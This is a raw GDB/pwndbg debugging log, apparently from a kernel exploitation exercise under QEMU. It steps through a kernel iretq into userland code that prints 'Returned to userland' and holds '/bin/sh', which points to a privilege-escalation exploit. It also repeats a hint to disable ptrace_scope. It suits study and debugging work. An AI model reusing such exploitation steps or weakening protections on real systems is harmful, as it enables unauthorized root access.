Either change the kernel-vmmap setting, re-run GDB as root, or disable `ptrace_scope` (`echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope`)
Exception ignored in: <function QemuGdbMachine.__del__ at 0x7efc63784ca0>
Traceback (most recent call last):
  File "/home/share/work/inject/pwndbg/.venv/lib/python3.8/site-packages/pt_gdb/pt_gdb.py", line 19, in __del__
    if self.file:
AttributeError: 'QemuGdbMachine' object has no attribute 'file'
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────
 RAX  0
 RBX  0
 RCX  0
 RDX  0
 RDI  0
 RSI  0xffffffff82442e00
 R8   0xffff88800362ad20
 R9   0
 R10  0xffff888001e6b140
 R11  1
 R12  0xfffffffffffffffb
 R13  0xffffc900001a7f08
 R14  0x7ffda87f99a0 ◂— 0
 R15  0
 RBP  0xffff88800082e9c0
 RSP  0xfffffe00000021d8 —▸ 0x402394 ◂— 0xe5894855fa1e0ff3
*RIP  0xffffffff81c00ad7 ◂— 0x9066f8010f57cf48
───────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────
   0xffffffff81c00aa9    pop    rdi             RDI => 0
   0xffffffff81c00aaa    swapgs 
   0xffffffff81c00aad    jmp    0xffffffff81c00ad0          <0xffffffff81c00ad0>
    ↓
   0xffffffff81c00ad0    test   byte ptr [rsp + 0x20], 4     0x2b & 0x4     EFLAGS => 0x246 [ cf PF af ZF sf IF df of ]
   0xffffffff81c00ad5    jne    0xffffffff81c00ad9          <0xffffffff81c00ad9>
 
 ► 0xffffffff81c00ad7    iretq  
 
   0xffffffff81c00ad9    push   rdi
   0xffffffff81c00ada    swapgs 
   0xffffffff81c00add    nop    
   0xffffffff81c00adf    mov    rdi, cr3
   0xffffffff81c00ae2    nop    dword ptr [rax + rax]
─────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0xfffffe00000021d8 —▸ 0x402394 ◂— 0xe5894855fa1e0ff3
01:0008│     0xfffffe00000021e0 ◂— 0x33 /* '3' */
02:0010│     0xfffffe00000021e8 ◂— 0x246
03:0018│     0xfffffe00000021f0 —▸ 0x7ffda87f9920 —▸ 0x4038d0 ◂— 0x58d4855fa1e0ff3
04:0020│     0xfffffe00000021f8 ◂— 0x2b /* '+' */
05:0028│     0xfffffe0000002200 ◂— 0
... ↓        2 skipped
───────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────
 ► 0 0xffffffff81c00ad7
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> si
0x0000000000402394 in ?? ()
=> 0x0000000000402394:	f3 0f 1e fa	endbr64 
Permission error when attempting to parse page tables with gdb-pt-dump.
Either change the kernel-vmmap setting, re-run GDB as root, or disable `ptrace_scope` (`echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope`)
Exception ignored in: <function QemuGdbMachine.__del__ at 0x7efc63784ca0>
Traceback (most recent call last):
  File "/home/share/work/inject/pwndbg/.venv/lib/python3.8/site-packages/pt_gdb/pt_gdb.py", line 19, in __del__
    if self.file:
AttributeError: 'QemuGdbMachine' object has no attribute 'file'
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────
 RAX  0
 RBX  0
 RCX  0
 RDX  0
 RDI  0
 RSI  0xffffffff82442e00
 R8   0xffff88800362ad20
 R9   0
 R10  0xffff888001e6b140
 R11  1
 R12  0xfffffffffffffffb
 R13  0xffffc900001a7f08
 R14  0x7ffda87f99a0 ◂— 0
 R15  0
 RBP  0xffff88800082e9c0
*RSP  0x7ffda87f9920 —▸ 0x4038d0 ◂— 0x58d4855fa1e0ff3
*RIP  0x402394 ◂— 0xe5894855fa1e0ff3
───────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────
 ► 0x402394    endbr64 
   0x402398    push   rbp
   0x402399    mov    rbp, rsp                 RBP => 0x7ffda87f9918 ◂— 0xffff88800082e9c0
   0x40239c    lea    rdi, [rip + 0x94ced]     RDI => 0x497090 ◂— '[*] Returned to userland'
   0x4023a3    call   0x419720                    <0x419720>
 
   0x4023a8    call   0x4512f0                    <0x4512f0>
 
   0x4023ad    test   eax, eax
   0x4023af    jne    0x4023d7                    <0x4023d7>
 
   0x4023b1    call   0x4512f0                    <0x4512f0>
 
   0x4023b6    mov    esi, eax
   0x4023b8    lea    rdi, [rip + 0x94cea]     RDI => 0x4970a9


//////////////  执行完用户态后再进入内核态 ////////////////////

pwndbg> 
0x0000000000466811 in ?? ()
=> 0x0000000000466811:	0f 11 bc 24 88 00 00 00	movups XMMWORD PTR [rsp+0x88],xmm7
Permission error when attempting to parse page tables with gdb-pt-dump.
Either change the kernel-vmmap setting, re-run GDB as root, or disable `ptrace_scope` (`echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope`)
Exception ignored in: <function QemuGdbMachine.__del__ at 0x7efc63784ca0>
Traceback (most recent call last):
  File "/home/share/work/inject/pwndbg/.venv/lib/python3.8/site-packages/pt_gdb/pt_gdb.py", line 19, in __del__
    if self.file:
AttributeError: 'QemuGdbMachine' object has no attribute 'file'
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────
 RAX  0
 RBX  0x4970c1 ◂— 0x68732f6e69622f /* '/bin/sh' */
 RCX  0
 RDX  0x7ffc9e029658 ◂— 0
 RDI  2
 RSI  0x7ffc9e0295b8 ◂— 1
 R8   0x4c4ce0 ◂— 0
 R9   0x16
 R10  0xffffffff
 R11  0x246
 R12  0x7ffc9e029878 ◂— 1
 R13  0xffffc900001f7f08
 R14  0x7ffc9e029b30 ◂— 0
 R15  0
 RBP  0x7ffc9e029880 ◂— 0
 RSP  0x7ffc9e0295b8 ◂— 1
*RIP  0x466811 ◂— 0x8824bc110f
───────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────
   0x4667f9    mov    eax, 0                             EAX => 0
   0x4667fe    cmove  rdx, rax
   0x466802    movups xmmword ptr [rsp + 0x58], xmm4
   0x466807    movups xmmword ptr [rsp + 0x68], xmm5
   0x46680c    movups xmmword ptr [rsp + 0x78], xmm6
 ► 0x466811    movups xmmword ptr [rsp + 0x88], xmm7
   0x466819    mov    r10d, 8                            R10D => 8
   0x46681f    mov    eax, 0xd                           EAX => 0xd
   0x466824    syscall  <SYS_rt_sigaction>
   0x466826    cmp    rax, -0x1000
   0x46682c    ja     0x466920                    <0x466920>
─────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsi rsp 0x7ffc9e0295b8 ◂— 1
01:0008│-2c0     0x7ffc9e0295c0 ◂— 0x4000000
02:0010│-2b8     0x7ffc9e0295c8 —▸ 0x466750 ◂— 0xf0000000fc0c748
03:0018│-2b0     0x7ffc9e0295d0 ◂— 0
... ↓            4 skipped
───────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────
 ► 0         0x466811
   1              0x1
   2        0x4000000
   3         0x466750
   4              0x0
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 
0x0000000000466819 in ?? ()
=> 0x0000000000466819:	41 ba 08 00 00 00	mov    r10d,0x8
Permission error when attempting to parse page tables with gdb-pt-dump.
Either change the kernel-vmmap setting, re-run GDB as root, or disable `ptrace_scope` (`echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope`)
Exception ignored in: <function QemuGdbMachine.__del__ at 0x7efc63784ca0>
Traceback (most recent call last):
  File "/home/share/work/inject/pwndbg/.venv/lib/python3.8/site-packages/pt_gdb/pt_gdb.py", line 19, in __del__
    if self.file:
AttributeError: 'QemuGdbMachine' object has no attribute 'file'
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────
 RAX  0
 RBX  0x4970c1 ◂— 0x68732f6e69622f /* '/bin/sh' */
 RCX  0
 RDX  0x7ffc9e029658 ◂— 0
 RDI  2
 RSI  0x7ffc9e0295b8 ◂— 1
 R8   0x4c4ce0 ◂— 0
 R9   0x16
 R10  0xffffffff
 R11  0x246
 R12  0x7ffc9e029878 ◂— 1
 R13  0xffffc900001f7f08
 R14  0x7ffc9e029b30 ◂— 0
 R15  0
 RBP  0x7ffc9e029880 ◂— 0
 RSP  0x7ffc9e0295b8 ◂— 1
*RIP  0x466819 ◂— 0xdb800000008ba41
───────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────
   0x4667fe    cmove  rdx, rax
   0x466802    movups xmmword ptr [rsp + 0x58], xmm4
   0x466807    movups xmmword ptr [rsp + 0x68], xmm5
   0x46680c    movups xmmword ptr [rsp + 0x78], xmm6
   0x466811    movups xmmword ptr [rsp + 0x88], xmm7
 ► 0x466819    mov    r10d, 8                            R10D => 8
   0x46681f    mov    eax, 0xd                           EAX => 0xd
   0x466824    syscall  <SYS_rt_sigaction>
   0x466826    cmp    rax, -0x1000
   0x46682c    ja     0x466920                    <0x466920>
 
   0x466832    mov    r9d, eax
─────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsi rsp 0x7ffc9e0295b8 ◂— 1
01:0008│-2c0     0x7ffc9e0295c0 ◂— 0x4000000
02:0010│-2b8     0x7ffc9e0295c8 —▸ 0x466750 ◂— 0xf0000000fc0c748
03:0018│-2b0     0x7ffc9e0295d0 ◂— 0
... ↓            4 skipped
───────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────
 ► 0         0x466819
   1              0x1
   2        0x4000000
   3         0x466750
   4              0x0
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 
0x000000000046681f in ?? ()
=> 0x000000000046681f:	b8 0d 00 00 00	mov    eax,0xd
Permission error when attempting to parse page tables with gdb-pt-dump.
Either change the kernel-vmmap setting, re-run GDB as root, or disable `ptrace_scope` (`echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope`)
Exception ignored in: <function QemuGdbMachine.__del__ at 0x7efc63784ca0>
Traceback (most recent call last):
  File "/home/share/work/inject/pwndbg/.venv/lib/python3.8/site-packages/pt_gdb/pt_gdb.py", line 19, in __del__
    if self.file:
AttributeError: 'QemuGdbMachine' object has no attribute 'file'
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────
 RAX  0
 RBX  0x4970c1 ◂— 0x68732f6e69622f /* '/bin/sh' */
 RCX  0
 RDX  0x7ffc9e029658 ◂— 0
 RDI  2
 RSI  0x7ffc9e0295b8 ◂— 1
 R8   0x4c4ce0 ◂— 0
 R9   0x16
*R10  8
 R11  0x246
 R12  0x7ffc9e029878 ◂— 1
 R13  0xffffc900001f7f08
 R14  0x7ffc9e029b30 ◂— 0
 R15  0
 RBP  0x7ffc9e029880 ◂— 0
 RSP  0x7ffc9e0295b8 ◂— 1
*RIP  0x46681f ◂— 0x48050f0000000db8
───────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────
   0x466802    movups xmmword ptr [rsp + 0x58], xmm4
   0x466807    movups xmmword ptr [rsp + 0x68], xmm5
   0x46680c    movups xmmword ptr [rsp + 0x78], xmm6
   0x466811    movups xmmword ptr [rsp + 0x88], xmm7
   0x466819    mov    r10d, 8                            R10D => 8
 ► 0x46681f    mov    eax, 0xd                           EAX => 0xd
   0x466824    syscall  <SYS_rt_sigaction>
   0x466826    cmp    rax, -0x1000
   0x46682c    ja     0x466920                    <0x466920>
 
   0x466832    mov    r9d, eax
   0x466835    test   r8, r8
─────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsi rsp 0x7ffc9e0295b8 ◂— 1
01:0008│-2c0     0x7ffc9e0295c0 ◂— 0x4000000
02:0010│-2b8     0x7ffc9e0295c8 —▸ 0x466750 ◂— 0xf0000000fc0c748
03:0018│-2b0     0x7ffc9e0295d0 ◂— 0
... ↓            4 skipped
───────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────
 ► 0         0x46681f
   1              0x1
   2        0x4000000
   3         0x466750
   4              0x0
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 
0x0000000000466824 in ?? ()
=> 0x0000000000466824:	0f 05	syscall 
Permission error when attempting to parse page tables with gdb-pt-dump.
Either change the kernel-vmmap setting, re-run GDB as root, or disable `ptrace_scope` (`echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope`)
Exception ignored in: <function QemuGdbMachine.__del__ at 0x7efc63784ca0>
Traceback (most recent call last):
  File "/home/share/work/inject/pwndbg/.venv/lib/python3.8/site-packages/pt_gdb/pt_gdb.py", line 19, in __del__
    if self.file:
AttributeError: 'QemuGdbMachine' object has no attribute 'file'
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────
*RAX  0xd
 RBX  0x4970c1 ◂— 0x68732f6e69622f /* '/bin/sh' */
 RCX  0
 RDX  0x7ffc9e029658 ◂— 0
 RDI  2
 RSI  0x7ffc9e0295b8 ◂— 1
 R8   0x4c4ce0 ◂— 0
 R9   0x16
 R10  8
 R11  0x246
 R12  0x7ffc9e029878 ◂— 1
 R13  0xffffc900001f7f08
 R14  0x7ffc9e029b30 ◂— 0
 R15  0
 RBP  0x7ffc9e029880 ◂— 0
 RSP  0x7ffc9e0295b8 ◂— 1
*RIP  0x466824 ◂— 0xfffff0003d48050f
───────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────
   0x466807    movups xmmword ptr [rsp + 0x68], xmm5
   0x46680c    movups xmmword ptr [rsp + 0x78], xmm6
   0x466811    movups xmmword ptr [rsp + 0x88], xmm7
   0x466819    mov    r10d, 8                            R10D => 8
   0x46681f    mov    eax, 0xd                           EAX => 0xd
 ► 0x466824    syscall  <SYS_rt_sigaction>
        rdi: 2
        rsi: 0x7ffc9e0295b8 ◂— 1
        rdx: 0x7ffc9e029658 ◂— 0
        r10: 8
   0x466826    cmp    rax, -0x1000
   0x46682c    ja     0x466920                    <0x466920>
 
   0x466832    mov    r9d, eax
   0x466835    test   r8, r8
   0x466838    je     0x4668df                    <0x4668df>
─────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsi rsp 0x7ffc9e0295b8 ◂— 1
01:0008│-2c0     0x7ffc9e0295c0 ◂— 0x4000000
02:0010│-2b8     0x7ffc9e0295c8 —▸ 0x466750 ◂— 0xf0000000fc0c748
03:0018│-2b0     0x7ffc9e0295d0 ◂— 0
... ↓            4 skipped
───────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────
 ► 0         0x466824
   1              0x1
   2        0x4000000
   3         0x466750
   4              0x0
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 
0xffffffff81c00000 in ?? ()
=> 0xffffffff81c00000:	0f 01 f8	swapgs 
Permission error when attempting to parse page tables with gdb-pt-dump.
Either change the kernel-vmmap setting, re-run GDB as root, or disable `ptrace_scope` (`echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope`)
Exception ignored in: <function QemuGdbMachine.__del__ at 0x7efc63784ca0>
Traceback (most recent call last):
  File "/home/share/work/inject/pwndbg/.venv/lib/python3.8/site-packages/pt_gdb/pt_gdb.py", line 19, in __del__
    if self.file:
AttributeError: 'QemuGdbMachine' object has no attribute 'file'
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────
 RAX  0xd
 RBX  0x4970c1 ◂— 0x68732f6e69622f /* '/bin/sh' */
*RCX  0x466826 ◂— 0x870ffffff0003d48 /* 'H=' */
 RDX  0x7ffc9e029658 ◂— 0
 RDI  2
 RSI  0x7ffc9e0295b8 ◂— 1
 R8   0x4c4ce0 ◂— 0
 R9   0x16
 R10  8
*R11  0x202
 R12  0x7ffc9e029878 ◂— 1
 R13  0xffffc900001f7f08
 R14  0x7ffc9e029b30 ◂— 0
 R15  0
 RBP  0x7ffc9e029880 ◂— 0
 RSP  0x7ffc9e0295b8 ◂— 1
*RIP  0xffffffff81c00000 ◂— 0x2524894865f8010f
───────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────
 ► 0xffffffff81c00000    swapgs 
   0xffffffff81c00003    mov    qword ptr gs:[0x6014], rsp     <Cannot dereference [0x6014]>
   0xffffffff81c0000c    nop    
   0xffffffff81c0000e    mov    rsp, cr3
   0xffffffff81c00011    nop    dword ptr [rax + rax]
   0xffffffff81c00016    and    rsp, 0xffffffffffffe7ff
   0xffffffff81c0001d    mov    cr3, rsp
   0xffffffff81c00020    mov    rsp, qword ptr gs:[0x600c]     <Cannot dereference [0x600c]>
   0xffffffff81c00029    push   _note_6+7
   0xffffffff81c0002b    push   qword ptr gs:[0x6014]
   0xffffffff81c00033    push   r11
─────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsi rsp 0x7ffc9e0295b8 ◂— 1
01:0008│-2c0     0x7ffc9e0295c0 ◂— 0x4000000
02:0010│-2b8     0x7ffc9e0295c8 —▸ 0x466750 ◂— 0xf0000000fc0c748
03:0018│-2b0     0x7ffc9e0295d0 ◂— 0
... ↓            4 skipped
───────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────
 ► 0 0xffffffff81c00000
   1              0x1
   2        0x4000000
   3         0x466750
   4              0x0
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> si
0xffffffff81c00003 in ?? ()
=> 0xffffffff81c00003:	65 48 89 24 25 14 60 00 00	mov    QWORD PTR gs:0x6014,rsp
Permission error when attempting to parse page tables with gdb-pt-dump.
Either change the kernel-vmmap setting, re-run GDB as root, or disable `ptrace_scope` (`echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope`)
Exception ignored in: <function QemuGdbMachine.__del__ at 0x7efc63784ca0>
Traceback (most recent call last):
  File "/home/share/work/inject/pwndbg/.venv/lib/python3.8/site-packages/pt_gdb/pt_gdb.py", line 19, in __del__
    if self.file:
AttributeError: 'QemuGdbMachine' object has no attribute 'file'
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────
 RAX  0xd
 RBX  0x4970c1 ◂— 0x68732f6e69622f /* '/bin/sh' */
 RCX  0x466826 ◂— 0x870ffffff0003d48 /* 'H=' */
 RDX  0x7ffc9e029658 ◂— 0
 RDI  2
 RSI  0x7ffc9e0295b8 ◂— 1
 R8   0x4c4ce0 ◂— 0
 R9   0x16
 R10  8
 R11  0x202
 R12  0x7ffc9e029878 ◂— 1
 R13  0xffffc900001f7f08
 R14  0x7ffc9e029b30 ◂— 0
 R15  0
 RBP  0x7ffc9e029880 ◂— 0
 RSP  0x7ffc9e0295b8 ◂— 1
*RIP  0xffffffff81c00003 ◂— 0x60142524894865
───────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────
   0xffffffff81c00000    swapgs 
 ► 0xffffffff81c00003    mov    qword ptr gs:[0x6014], rsp     [0xffff888003606014] => 0x7ffc9e0295b8 ◂— 1
   0xffffffff81c0000c    nop    
   0xffffffff81c0000e    mov    rsp, cr3                       RSP => 0
   0xffffffff81c00011    nop    dword ptr [rax + rax]
   0xffffffff81c00016    and    rsp, 0xffffffffffffe7ff        RSP => 0 (0 & -6145)
   0xffffffff81c0001d    mov    cr3, rsp                       CR3 => 0
   0xffffffff81c00020    mov    rsp, qword ptr gs:[0x600c]     RSP, [0xffff88800360600c] => 0xffffc900001f8000
   0xffffffff81c00029    push   _note_6+7
   0xffffffff81c0002b    push   qword ptr gs:[0x6014]
   0xffffffff81c00033    push   r11
─────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsi rsp 0x7ffc9e0295b8 ◂— 1
01:0008│-2c0     0x7ffc9e0295c0 ◂— 0x4000000
02:0010│-2b8     0x7ffc9e0295c8 —▸ 0x466750 ◂— 0xf0000000fc0c748
03:0018│-2b0     0x7ffc9e0295d0 ◂— 0
... ↓            4 skipped
───────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────
 ► 0 0xffffffff81c00003
   1              0x1
   2        0x4000000
   3         0x466750
   4              0x0
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 



#endif

